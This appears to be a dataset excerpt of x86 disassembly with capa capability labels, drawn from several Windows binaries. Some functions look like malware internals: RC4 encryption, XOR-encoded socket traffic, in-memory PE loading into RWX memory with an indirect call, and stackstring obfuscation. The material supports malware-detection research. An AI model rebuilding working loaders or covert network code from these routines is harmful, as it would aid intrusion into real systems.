joyce8/EMBER2024-capa huggingface dataset:
Function at 0x473e66
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x473e9e
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00471f1d
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00471ef5
jmp 0x473eaa
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x475554
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x475596
call fcn.0047b010
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x475596
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x47558d
xor eax, eax
jmp 0x47559e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004755a4
pop edi
pop esi
pop ebx
ret 4

Function at 0x47b540
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47b56e
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47b58c
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047b4a6
jmp 0x47b58c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47b58c
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047b4a6
test edi, edi
mov eax, edi
jne 0x47b576
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x10001000
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push edi
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 1
jb 0x100010b6
mov edi, dword [esp + 0x10]
cmp edi, 1
jl 0x100010b6
cmp edi, 0x100
jle 0x10001035
mov edi, 0x100
push ebx
push esi
mov esi, dword [esp + 0x1c]
xor ecx, ecx
xor eax, eax
mov byte [eax + esi], al
inc eax
cmp eax, 0x100
jl 0x1000103f
mov byte [esi + 0x100], cl
mov byte [esi + 0x101], cl
xor bl, bl
mov byte [esp + 0x14], cl
mov edx, dword [esp + 0x14]
mov al, byte [ecx + esi]
and edx, 0xff
mov dl, byte [edx + ebp]
mov byte [0x10006844], al
add dl, al
add bl, dl
mov byte [esp + 0x18], bl
mov eax, dword [esp + 0x18]
and eax, 0xff
add eax, esi
mov dl, byte [eax]
mov byte [ecx + esi], dl
mov dl, byte [0x10006844]
mov byte [eax], dl
mov al, byte [esp + 0x14]
inc al
and eax, 0xff
cdq
idiv edi
inc ecx
cmp ecx, 0x100
mov byte [esp + 0x14], dl
jl 0x1000105c
pop esi
pop ebx
pop edi
mov eax, 1
pop ebp
ret
pop edi
xor eax, eax
pop ebp
ret

Function at 0x100010c0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, dword [esp + 8]
test ebp, ebp
je 0x10001173
mov ecx, dword [esp + 0xc]
cmp ecx, 1
jl 0x10001173
push edi
mov edi, dword [esp + 0x14]
mov al, byte [edi + 0x101]
mov dl, byte [edi + 0x100]
mov byte [esp + 0xc], al
xor eax, eax
test ecx, ecx
jle 0x1000115b
push ebx
push esi
inc dl
mov bl, byte [esp + 0x14]
mov byte [esp + 0x1c], dl
mov ecx, dword [esp + 0x1c]
and ecx, 0xff
lea esi, [ecx + edi]
mov cl, byte [ecx + edi]
add bl, cl
mov byte [0x10006844], cl
mov byte [esp + 0x14], bl
mov ecx, dword [esp + 0x14]
and ecx, 0xff
add ecx, edi
mov bl, byte [ecx]
mov byte [esi], bl
mov bl, byte [0x10006844]
mov byte [ecx], bl
mov cl, byte [esi]
mov bl, byte [0x10006844]
add ecx, ebx
mov bl, byte [eax + ebp]
and ecx, 0xff
mov cl, byte [ecx + edi]
xor bl, cl
mov ecx, dword [esp + 0x18]
mov byte [eax + ebp], bl
inc eax
cmp eax, ecx
jl 0x100010f7
pop esi
pop ebx
mov byte [edi + 0x100], dl
mov dl, byte [esp + 0xc]
mov byte [edi + 0x101], dl
pop edi
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x100011e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10005480
push 0x10003ee0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, 0x1248
call fcn.10003eb0
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 4], edi
push 0x10005478
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.MSVCRT.dll__wfopen]
add esp, 8
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, edi
jne 0x10001242
mov dword [ebp - 0x1c], 1
jmp 0x100013a8
mov dword [ebp - 0x50], edi
mov ecx, 8
xor eax, eax
lea edi, [ebp - 0x4c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x50]
push eax
push esi
call dword [sym.imp.MSVCRT.dll__wstat]
add esp, 8
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x10001272
mov dword [ebp - 0x1c], 1
jmp 0x100013a8
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov esi, eax
mov dword [ebp - 0x20], esi
test esi, esi
jne 0x10001291
mov dword [ebp - 0x1c], 1
jmp 0x100013a8
push ebx
mov ecx, dword [ebp - 0x3c]
push ecx
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
test eax, eax
ja 0x100012b2
mov dword [ebp - 0x1c], 1
jmp 0x100013a8
mov dword [ebp - 0x2c], 0
mov edx, dword [ebp - 0x3c]
mov ebx, dword [edx + esi - 8]
mov dword [ebp - 0x2c], ebx
mov eax, dword [edx + esi - 4]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x1050], 0
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x104f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebx + 8]
sub edx, ebx
lea esi, [edx + esi - 0x10]
lea edi, [ebp - 0x1050]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x115c], 0
mov edx, dword [ebp - 0x1050]
mov dword [ebp - 0x115c], edx
mov eax, dword [ebp - 0x104c]
mov dword [ebp - 0x1158], eax
mov byte [ebp - 0x1154], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x1153]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edx, 0x19860609
push edx
push 0x10005470
push 0x104
lea ecx, [ebp - 0x1154]
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
lea edx, [ebp - 0x1260]
push edx
lea edi, [ebp - 0x1154]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea eax, [ebp - 0x1154]
push eax
call section..text
lea ecx, [ebp - 0x1260]
push ecx
push ebx
lea edx, [ebp - 0x1048]
push edx
call fcn.100010c0
push ebx
lea eax, [ebp - 0x1048]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.100014a0
add esp, 0x34
mov ebx, dword [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
call fcn.100013d2
xor eax, eax
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
sete al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100019e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x10001ac0
mov eax, dword [esp + 0x18]
test eax, eax
je 0x10001ac0
mov edx, dword [edi + 0x10]
test edx, edx
je 0x10001a0e
cmp dword [edi], 0
jne 0x10001ac0
push eax
push ecx
mov ecx, edi
call fcn.10001b30
test eax, eax
je 0x10001ac0
mov eax, dword [edi + 8]
mov ebx, dword [eax + 0x50]
test ebx, ebx
je 0x10001ac0
mov eax, dword [eax + 0x34]
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x3000
push ebx
push eax
call ebp
mov esi, eax
test esi, esi
jne 0x10001a58
push 0x40
push 0x103000
push ebx
push eax
call ebp
mov esi, eax
test esi, esi
je 0x10001ac0
mov ecx, dword [esp + 0x14]
push ecx
push esi
mov ecx, edi
call fcn.10001c00
push esi
mov ecx, edi
call fcn.10001d80
push esi
mov ecx, edi
call fcn.10001c90
mov edx, dword [edi + 8]
lea eax, [esp + 0x18]
push eax
push 0x40
xor ebp, ebp
push ebx
mov dword [edx + 0x34], esi
push esi
mov dword [esp + 0x28], ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [edi + 8]
mov ebx, dword [esp + 0x1c]
push ebx
push 1
mov edx, dword [ecx + 0x28]
push esi
lea eax, [edx + esi]
mov dword [edi + 0x14], eax
call eax
test eax, eax
jne 0x10001ac9
push ebx
push ebp
push esi
call dword [edi + 0x14]
push 0x8000
push ebp
push esi
mov dword [edi + 0x14], ebp
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 0xc
mov eax, 1
mov dword [edi], esi
mov dword [edi + 0x10], eax
pop edi
pop esi
pop ebp
pop ebx
ret 0xc

Function at 0x10001b30
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
cmp edi, 0x40
jae 0x10001b46
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
mov eax, dword [esp + 0x14]
mov dword [ecx + 4], eax
cmp word [eax], 0x5a4d
je 0x10001b5d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
mov edx, dword [eax + 0x3c]
lea esi, [edx + 0xf8]
cmp edi, esi
jae 0x10001b73
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
add eax, edx
mov dword [ecx + 8], eax
cmp dword [eax], 0x4550
je 0x10001b89
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
mov dx, word [eax + 0x16]
test dh, 0x20
jne 0x10001b9b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
test dl, 2
jne 0x10001ba9
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
xor edx, edx
mov dx, word [eax + 0x14]
lea esi, [edx + eax + 0x18]
mov eax, dword [ecx + 8]
mov dword [ecx + 0xc], esi
xor edx, edx
mov cx, word [eax + 6]
test cx, cx
jbe 0x10001be5
mov eax, edx
and eax, 0xffff
lea eax, [eax + eax*4]
mov ebx, dword [esi + eax*8 + 0x14]
mov ebp, dword [esi + eax*8 + 0x10]
lea eax, [esi + eax*8]
add ebx, ebp
cmp ebx, edi
ja 0x10001ba0
inc edx
cmp dx, cx
jb 0x10001bc4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 8
Function at 0x10001c00
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
xor eax, eax
mov ebp, dword [esp + 0x14]
mov ecx, dword [esi + 8]
mov ebx, dword [esp + 0x10]
push edi
mov ax, word [ecx + 6]
mov ecx, dword [ecx + 0x54]
lea eax, [eax + eax*4]
lea edx, [ecx + eax*8]
push edx
push ebp
push ebx
call dword [sym.imp.MSVCRT.dll_memmove]
mov eax, dword [esi + 8]
xor edi, edi
add esp, 0xc
cmp word [eax + 6], di
jbe 0x10001c6f
mov edx, dword [esi + 0xc]
mov eax, edi
and eax, 0xffff
lea ecx, [eax + eax*4]
lea eax, [edx + ecx*8]
mov ecx, dword [edx + ecx*8 + 0x10]
test ecx, ecx
je 0x10001c65
mov edx, dword [eax + 0xc]
push ecx
mov ecx, dword [eax + 0x14]
add edx, ebx
add ecx, ebp
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_memmove]
add esp, 0xc
mov eax, dword [esi + 8]
inc edi
cmp di, word [eax + 6]
jb 0x10001c37
mov dword [esi + 4], ebx
mov ecx, dword [ebx + 0x3c]
xor edx, edx
pop edi
lea eax, [ecx + ebx]
mov dword [esi + 8], eax
mov dx, word [eax + 0x14]
lea eax, [edx + eax + 0x18]
mov dword [esi + 0xc], eax
pop esi
pop ebp
pop ebx
ret 8

Function at 0x10001e10
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
mov esi, dword [esp + 0x10]
push edi
xor edi, edi
test esi, esi
jle 0x10001e46
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
push 0
lea eax, [edi + ebx]
push esi
push eax
push ebp
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10001e40
sub esi, eax
add edi, eax
test esi, esi
jg 0x10001e26
mov esi, dword [esp + 0x1c]
pop ebp
pop ebx
xor eax, eax
cmp edi, esi
pop edi
pop esi
sete al
ret

Function at 0x10001e50
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
xor esi, esi
test edi, edi
jle 0x10001e82
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
mov eax, edi
push 0
sub eax, esi
lea ecx, [esi + ebx]
push eax
push ecx
push ebp
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10001e8e
add esi, eax
cmp esi, edi
jl 0x10001e66
xor eax, eax
cmp edi, esi
pop edi
pop esi
pop ebp
pop ebx
sete al
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x10001ea0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x208
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10d]
mov esi, dword [esp + 0x218]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x14
lea edi, [esp + 0x10c]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop edi
xor eax, eax
pop esi
mov cl, byte [esp + eax + 0x104]
xor cl, 0x27
mov byte [esp + eax], cl
inc eax
cmp eax, 0x50
jb 0x10001ee9
mov eax, dword [esp + 0x20c]
push 0xffffffffffffffff
lea edx, [esp + 4]
push 0x50
push edx
push eax
call fcn.10001e10
neg eax
sbb eax, eax
neg eax
add esp, 0x218
ret
Function at 0x10002fb0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x214
mov eax, dword [esp + 0x21c]
push ebx
push ebp
push esi
push edi
mov dword [eax], 0
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
mov ebp, dword [esp + 0x230]
push 0x3a
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x22c]
mov word [ebp], 0
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
or ebx, 0xffffffff
test esi, esi
je 0x10003032
mov ecx, esi
lea edx, [esp + 0x20]
sub ecx, edi
push ecx
push edi
push edx
call dword [sym.imp.MSVCRT.dll_strncpy]
inc esi
push esi
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x10
mov word [ebp], ax
test ax, ax
jbe 0x10003052
cmp ax, 0xffdc
jb 0x10003058
jmp 0x10003052
mov ecx, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x20]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov word [ebp], 0x50
lea ecx, [esp + 0x20]
lea edx, [esp + 0x124]
push ecx
push 0x10005750
push edx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x24]
lea ecx, [esp + 0x20]
push eax
lea edx, [esp + 0x2c]
push ecx
lea eax, [esp + 0x24]
push edx
push eax
lea ecx, [esp + 0x140]
push str._d._d._d._d
push ecx
call dword [sym.imp.MSVCRT.dll_sscanf]
mov ecx, dword [esp + 0x34]
add esp, 0x24
test ecx, ecx
jl 0x100030f6
mov edi, dword [esp + 0x1c]
test edi, edi
jl 0x100030f6
mov esi, dword [esp + 0x14]
test esi, esi
jl 0x100030f6
mov edx, dword [esp + 0x18]
test edx, edx
jl 0x100030f6
cmp ecx, 0xff
jg 0x100030f6
cmp edi, 0xff
jg 0x100030f6
cmp esi, 0xff
jg 0x100030f6
cmp edx, 0xff
jg 0x100030f6
cmp eax, 4
jne 0x100030f6
lea edx, [esp + 0x20]
push edx
jmp 0x10003156
xor edx, edx
lea eax, [esp + 0x10]
lea ecx, [esp + 0x20]
mov word [esp + 0x11], dx
push eax
push ecx
mov byte [esp + 0x18], 0
mov byte [esp + 0x1b], dl
call fcn.10003180
add esp, 8
test eax, eax
je 0x10003122
mov edx, dword [esp + 0x10]
jmp 0x1000314e
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x10003147
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x214
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push eax
call dword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
pop ebp
mov dword [ecx], eax
mov eax, 1
pop ebx
add esp, 0x214
ret
Function at 0x10003b70
Capabilities:
Initialize winsock library
Print debug messages
Terminate thread

Disassembly:
mov ecx, dword [esp + 8]
sub esp, 0x398
xor eax, eax
push ebx
xor ebx, ebx
push esi
cmp ecx, 1
push edi
jne 0x10003ca0
mov eax, dword [esp + 0x3a8]
push ebp
push eax
mov dword [0x10006cb8], eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov ecx, 0x63
xor eax, eax
lea edi, [esp + 0x12]
mov word [esp + 0x10], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetModuleFileNameExW
push str.psapi.dll
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov edx, dword [0x10006cb8]
mov ebp, eax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x1a2]
mov word [esp + 0x1a0], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1a0]
push 0x104
push ecx
push edx
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebp
push 0x10006828
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esp + 0x1a0]
push eax
push 0x3a8
push 0x10006cf0
call fcn.100011e0
mov eax, dword [0x10006cbc]
add esp, 0xc
test eax, eax
pop ebp
jne 0x10003c92
push 1
push 0x10006cc0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x1000584c
push str.kernel32.dll
call esi
push eax
call ebx
push 0
push 0
push 0
push 0x10003230
push 0
push 0
call eax
push 0x64
mov dword [0x10006cbc], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x398
ret 0xc
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x398
ret 0xc
cmp ecx, ebx
jne 0x10003d2c
mov eax, dword [0x10006cbc]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp eax, ebx
je 0x10003d0d
push ebx
push 0x10006cc0
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
cmp dword [0x10006cc4], ebx
je 0x10003ce8
push str.m_ServerComplete_Continue_n
call edi
push 0x64
call esi
cmp dword [0x10006cc4], ebx
jne 0x10003cd5
mov ecx, dword [0x10006cbc]
push 0xff
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [0x10006cbc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x10006cbc], ebx
push 0x10006828
mov esi, 1
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push str.SrvCore_DLL_PROCESS_DETACH_n
call edi
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x398
ret 0xc
Function at 0x402320
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x410c1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
push 0
mov dword [esp + 0x18], ecx
push 0
call edi
mov esi, eax
push esi
call sub.MFC42.DLL_operatornew
add esp, 4
mov ebp, eax
push ebp
push esi
call edi
mov cl, byte [ebp]
xor edi, edi
test cl, cl
mov eax, ebp
je 0x402385
mov esi, dword [sym.imp.MSVCRT.dll__mbschr]
push 0
mov byte [esp + edi + 0x28], cl
push eax
inc edi
call esi
mov cl, byte [eax + 1]
add esp, 8
inc eax
test cl, cl
jne 0x402370
xor esi, esi
mov dword [esp + 0x10], 0
test edi, edi
jbe 0x40243f
push ebx
lea ecx, [esp + 0x10]
call fcn.004028a6
mov bl, byte [esp + esi + 0x28]
push 0x417464
movsx eax, bl
push eax
lea ecx, [esp + 0x18]
push str._c_s
push ecx
mov dword [esp + 0x158], 0
call sub.MFC42.DLL_CString::Format
mov edx, dword [esp + 0x20]
add esp, 0x10
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x402421
lea eax, [esp + 0x44]
push 0x32
lea ecx, [esp + 0x24]
push eax
lea edx, [esp + 0x24]
push ecx
lea eax, [esp + 0x30]
push edx
mov edx, dword [esp + 0x20]
push eax
lea ecx, [esp + 0x8c]
push 0xc8
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x402421
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov byte [eax + ecx + 0xc8], bl
inc eax
mov dword [esp + 0x14], eax
lea ecx, [esp + 0x10]
mov dword [esp + 0x148], 0xffffffff
call sub.MFC42.DLL_CString::CString
inc esi
cmp esi, edi
jb 0x402398
pop ebx
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push ebp
mov dword [eax + 0xe4], edx
call sub.MFC42.DLL_operatordelete
mov ecx, dword [esp + 0x140]
add esp, 4
mov eax, 1
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
add esp, 0x13c
ret

Function at 0x402620
Capabilities:
Print debug messages

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x200
lea eax, [esp + 0x208]
lea edx, [esp]
push eax
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_vsprintf]
add esp, 0xc
test eax, eax
je 0x402650
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0x200
ret
Function at 0x4040ef
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
push ebx
xor ebx, ebx
push 0x14
lea eax, [ebp - 0x14]
push ebx
push eax
call fcn.004041bb
add esp, 0xc
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xa], 0x45
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0xe], 0x73
mov byte [ebp - 9], 0x78
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 8], 0x41
mov byte [ebp - 0x11], 0x56
mov byte [ebp - 0xc], 0x6f
mov byte [ebp - 7], bl
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xb], 0x6e
mov dword [ebp - 0xa8], 0x94
call fcn.004041ea
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0xa8]
push ecx
call eax
test eax, eax
push 0x14
lea eax, [ebp - 0x14]
push ebx
push eax
jne 0x40417b
call fcn.004041bb
add esp, 0xc
xor eax, eax
jmp 0x4041b8
call fcn.004041bb
mov eax, dword [ebp - 0x98]
add esp, 0xc
sub eax, ebx
je 0x4041b5
dec eax
je 0x404195
dec eax
je 0x4041a7
jmp 0x404177
cmp dword [ebp - 0xa0], ebx
jne 0x4041a1
push 4
jmp 0x4041b7
jbe 0x4041a7
push 5
jmp 0x4041b7
cmp dword [ebp - 0xa4], 5
sbb eax, eax
add eax, 7
jmp 0x4041b8
push 3
pop eax
pop ebx
leave
ret

Function at 0x4041ea
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x14
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.004041bb
mov eax, dword [0x417504]
and byte [ebp - 8], 0
add esp, 0xc
cmp eax, 1
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 0x14], 0x6b
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
jne 0x40424d
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x417504], eax
leave
ret

Function at 0x40424f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x1b]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor esi, esi
stosd dword es:[edi], eax
push esi
push 0x4000000
push 1
push esi
stosw word es:[edi], ax
push esi
lea eax, [ebp - 0x1c]
push esi
push eax
mov byte [ebp - 0x1c], 0x5c
mov byte [ebp - 0x1b], 0x5c
mov byte [ebp - 0x1a], 0x2e
mov byte [ebp - 0x19], 0x5c
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x17], 0x4f
mov byte [ebp - 0x16], 0x53
mov byte [ebp - 0x15], 0x54
mov byte [ebp - 0x14], 0x39
mov byte [ebp - 0x13], 0x35
mov byte [ebp - 0x12], 0x2e
mov byte [ebp - 0x11], 0x56
mov byte [ebp - 0x10], 0x58
mov byte [ebp - 0xf], 0x44
call fcn.004042fb
mov edi, eax
add esp, 0x1c
cmp edi, 0xffffffff
jne 0x4042c0
mov eax, 0xc357
jmp 0x4042f7
push ebx
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0xc]
push 8
push eax
push esi
push esi
push 2
push edi
call fcn.00404386
push edi
mov ebx, eax
call fcn.00404424
add esp, 0x24
cmp ebx, esi
pop ebx
je 0x4042f2
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 8]
mov byte [eax], cl
xor eax, eax
jmp 0x4042f7
mov eax, 0xc358
pop edi
pop esi
leave
ret